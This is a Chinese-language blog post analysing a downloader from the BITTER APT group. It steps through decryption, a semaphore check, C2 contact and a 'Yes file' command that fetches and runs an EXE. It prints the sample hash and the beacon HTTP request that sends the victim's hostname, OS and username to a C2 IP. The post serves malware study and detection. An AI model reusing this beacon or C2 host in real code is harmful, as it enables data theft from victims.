Loading... #### 概述 蔓灵花(BITTER)是疑似具有南亚背景的APT组织,该组织长期针对东亚,南亚等地区进行攻击活动,主要针对政府、军工业、电力、核能等单位进行定向攻击,窃取敏感资料。 #### 样本信息 | FileName | MD5 | | ---------------------- | ---------------------------------- | | 开证装期邮件.pdf.exe | 806626d6e7a283efffb53b3831d53346 | #### 详细分析 下载的样本是一个压缩包文件,解压后包含两个文件,一黑一白: ![image.png](http://47.117.131.13/usr/uploads/2021/08/803851868.png) ![image.png](http://47.117.131.13/usr/uploads/2021/08/526380056.png) ![image.png](http://47.117.131.13/usr/uploads/2021/08/3223097781.png) ##### 有效载荷dlhos.exe ###### 解密操作 样本开头包含大量的循环解密,在解密完成后的那行代码下断: ![image.png](http://47.117.131.13/usr/uploads/2021/08/2327395586.png) 此处建议看看解密出来的内存都是什么数据,如果发现特殊的字符串或数据需要特地跟踪一下。比如此样本中解密的部分数据就很明显包括注册表路径、外连的URL字符串、和一串疑似指令的字符串“Yes file”。这其实就是解密出了配置文件: ![image.png](http://47.117.131.13/usr/uploads/2021/08/142424425.png) ###### 环境检测 解密后调用CreateSemaphoreA创建信号量“7t56yr54r”,接着调用GetLastError检测信号量是否创建成功,如果错误码为定义“ERROR_ALREADY_EXISTS”的183(0xB7),即代表内存中已存在运行中的该进程,那么其后续的函数必然是退出进程(或者有可能进入扰乱分析或者伪装功能的代码)。 ![image.png](http://47.117.131.13/usr/uploads/2021/08/3606746068.png) ``` [注]:通常恶意的可执行文件会通过CreateMutex创建互斥体或CreateSemaphore创建信号量(蔓灵花下载器都是用信号量)+"GetLastError"获取错误码的方式让恶意进程在内存中保持唯一运行的状态,避免互相干扰。那么由此可以逆推,其实主要的功能代码,一般是在判断完互斥体或信号量后的部分(或者其它检测行为后)。时间比较紧迫的情况,可以考虑定位到检测+“GetLastError”后,“if”判断不成立的逻辑条件进行分析。 ``` ###### 网络行为 连接c2服务器: ![image.png](http://47.117.131.13/usr/uploads/2021/08/1566132321.png) 由于分析时大部分情况是不建议联网的,且有可能外连的域名或IP已失效,在套接字通信后的if判断处修改跳转,接着分析后续功能。 ![image.png](http://47.117.131.13/usr/uploads/2021/08/2178825260.png) ![image.png](http://47.117.131.13/usr/uploads/2021/08/3183344752.png) ###### 数据来源 套接字连接成功后的第一个函数里调用了系统API"GetComputerNameA",查看其保存获取到数据ComputerName在何处被引用,发现函数末尾有大量调用同一函数sub_13DC318和同一内存地址0x1405598。在“GetComputerNameA”和函数sub_13DC318间,这部分代码中有“GetUserNameA”、RegQueryValueExA等获取信息的函数后,推测函数sub_13DC318为计算机信息的字符串拼接: ![image.png](http://47.117.131.13/usr/uploads/2021/08/3177884109.png) 有个这个推测后,在最后一次调用sub_13DC318,数据窗口监视对应的首参内存地址: ![image.png](http://47.117.131.13/usr/uploads/2021/08/2909071604.png) 确实拼接出带有计算机信息的字符串:"?a=WIN-S5OSAV0J2LE&b=WIN-S5OSAV0J2LE&c=Windows%207%20Professional&d=samsamd91feefc-ec41-4321-88f3-1b2fb72b20e9365536040965860",可以分解为以下的格式: ``` a=[HostName] b=[ComputerName] c=[电脑系统信息] d=[UserName][GUID] ``` **数据使用** 在IDA中该存储计算机数据的内存地址重命名后,查看该内存地址的交叉引用可以发现被多个函数调用,而最后一个调用的函数sub_13D1080,该函数的首参后续成为了“Send”函数参数中要发送的数据缓冲区,此处可以推测sub_13D1080函数为拼接待发送数据: ![image.png](http://47.117.131.13/usr/uploads/2021/08/2198775389.png) **Send发送上线包** 查看“Send”函数的要发送的数据缓冲区,可以看到拼接好要发送的数据: ![image.png](http://47.117.131.13/usr/uploads/2021/08/3682927301.png) 木马程序发送的第一个包还带有计算机信息的,通常可以叫做上线包: ``` GET ///RguhsT/accept.php? a=WIN-S5OSAV0J2LE&b=WIN-S5OSAV0J2LE&c=Windows%207%20Professional&d=samsamd91feefc-ec41-4321-88f3-1b2fb72b20e9365536040965860&e=efgh HTTP/1.1. Host: 162.0.229.203 ``` **Recv接收返回数据** 一般“Send”发送上线包后就是"Recv"从远程服务器接受命令或文件,查看“Recv”从远程服务器获取的数据有什么交叉引用,发现明显有C2指令判断: ![image.png](http://47.117.131.13/usr/uploads/2021/08/4157749413.png) 有部分内存数据为运行后才被解密的字符串,可以在上述的字符串解密操作后,在IDA里将对应的内存地址重命名,或者在动态运行时已经是解密后的数据。 为了进入预定义C2指令的逻辑,可以在“Recv”执行后将该函数的第二个参数手动修改为“Yes file”,或者修改字符串对比判断后的跳转也行,具体看后续执行的代码,本样本直接修改跳转更方便: ![image.png](http://47.117.131.13/usr/uploads/2021/08/3973364974.png) ``` [注]:一般接收C2指令后的判断处建议做个快照,看看跳不跳转分别执行了哪些功能。如当有多个C2指令进入不同的逻辑分支执行不同的代码时,分析完其中一个跳转后可以恢复快照,通过修改跳转或下一跳地址(EIP)无缝衔接分析下一个分支逻辑。该样本如果不满足“Yes file”指令后的代码逻辑就是退出,此处不做展示。 ``` 进入"Yes file"的代码逻辑后,可以明显看到有大量对接收数据的操作,如提取数据的代码:if判断长度+doWhile循环中嵌入一个if判断数据,最后memmove保存: ![image.png](http://47.117.131.13/usr/uploads/2021/08/2832723546.png) 对接收的数据结合上下文代码进行推测: 1.一般来说,对数据进行各种提取/解密/判断后的最后一个内存地址可以优先分析; 2.拼接的另一个为解密后的字符串".exe"; 3.那么可以推测该文件为一个exe文件,查看其交叉引用,发现是执行程序的函数“ShellcodeA”的参数,并且执行动作的参数为"open" ——也就是运行了一个EXE文件: ![image.png](http://47.117.131.13/usr/uploads/2021/08/1375182690.png) 而在调试器运行到"ShellExecteA"之前,中间大部分的函数为对文件的一些操作,可能会触发一系列文件操作函数,这一步调试分析的意义不是很大。从远程服务器获取数据到本地执行的这个过程,或许有文件解密操作,通过逆出解密算法,可以还原出PE文件的加密数据(或者从流量里dump),写出下载加密PE文件的流量规则。 至此,该样本的功能已经很清晰了,下载器运行后会收集受害机器的信息拼接为字符串,构建上线包发送给远程服务器,从远程服务器获取exe文件的数据并运行。 这种有外连下载exe运行操作的恶意文件通常归类为下载器(Downloader/Loader),APT组织蔓灵花常使用下载器在受害机器上安装其他的恶意功能插件,如键盘记录器、文件记录器或者远控木马。一般这些文件存放在下载器发送上线包的远程服务器下,此时通过VT搜索IP或者域名,查看其关联文件,可能会有收获。 ##### 小结 分析透一个经典的样本后,就相当于掌握了一个类型的病毒,恶意功能和实现的代码都是大同小异的。 参考连接:https://www.freebuf.com/articles/system/256829.html 最后修改:2021 年 08 月 30 日 07 : 23 PM © 允许规范转载